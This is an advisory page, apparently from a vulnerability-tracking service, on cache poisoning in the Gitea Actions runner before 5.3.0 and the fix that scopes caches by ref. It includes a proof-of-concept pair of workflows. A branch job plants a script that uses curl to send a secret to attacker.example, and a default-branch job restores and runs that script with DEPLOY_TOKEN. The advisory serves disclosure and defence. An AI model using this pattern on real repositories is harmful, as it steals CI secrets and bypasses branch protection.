GITEA.COM/GITEA/RUNNER · GHSA-7c33-wq58-g35r · Runtime
FIX → 5.3.0
The Gitea Actions runner's cache server does not scope cache entries by branch or tag, so a job on any branch can save files that default-branch jobs later restore and execute. An attacker who can push a branch can run code in default-branch workflows and read their secrets.
first public Nov 13, 2026 · 1 source
Check it with your coding agent
It reads this page and tells you if your code or app is affected.
Teams running the Gitea Actions runner (gitea.com/gitea/runner) below 5.3.0 whose default-branch workflows restore caches under keys that do not include the ref. Anyone who can push a non-protected branch can poison those caches. Workflows whose cache keys include the ref, or that do not use caches, are not exposed.
Not affected if no-cache-usage, ref-in-cache-key, runner-5.3.0-or-later
Who cares ci, gitea, gitea-actions, self-hosted
act_runner --version or the module version of gitea.com/gitea/runner in your go.mod.actions/cache with a key that does not include github.ref.Upgrade to 5.3.0
gitea.com/gitea/runner Before runner v5.3.0, the runner's cache server did not scope entries by ref. A cache saved by a job on any branch could be restored by jobs on the default branch, so anyone who can push a branch could plant files that a default-branch workflow restores and runs with that workflow's secrets. The poisoned entry stays in place for every later build until its key changes.
The cache server in act/artifactcache keyed entries only by the workflow's key: and version, without the branch or tag that saved them. Any default-branch workflow whose key does not include the ref is exposed. That includes the common key: deps-${{ hashFiles('package-lock.json') }}, since the attacker can keep the lockfile unchanged.
On a non-protected branch, save a script under a fixed key:
on: push
jobs:
save:
runs-on: ubuntu-latest
steps:
- run: printf '#!/bin/bash\ncurl -s --data "secret=$S" https://attacker.example\n' > build.sh
-
Are you affected?
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
InfraStack checks it against your stack and answers on your report, with the evidence and the fix.
5.3.0key: deps-${{ github.ref }}-${{ hashFiles('package-lock.json') }}.A default-branch workflow that restores the same key and runs it:
on: push
jobs:
build:
if: github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
steps:
- uses: actions/cache@v4
with:
path: build.sh
key: build-tool
- run: bash build.sh
env:
S: ${{ secrets.DEPLOY_TOKEN }}
The default-branch job reports a cache hit, runs the planted script and sends the secret to the attacker.
Anyone who can push a branch can run code in the default-branch workflows of that repository and read their secrets, bypassing branch protection, whenever such a workflow restores and executes a cache under a key without the ref.
Fixed in runner v5.3.0 by https://gitea.com/gitea/runner/pulls/1361. A job now saves caches to its own ref and restores them from its own ref, its pull request's base branch and the default branch, as on GitHub.
Upgrade the runner, or include the ref in cache keys, for example key: deps-${{ github.ref }}-${{ hashFiles('package-lock.json') }}.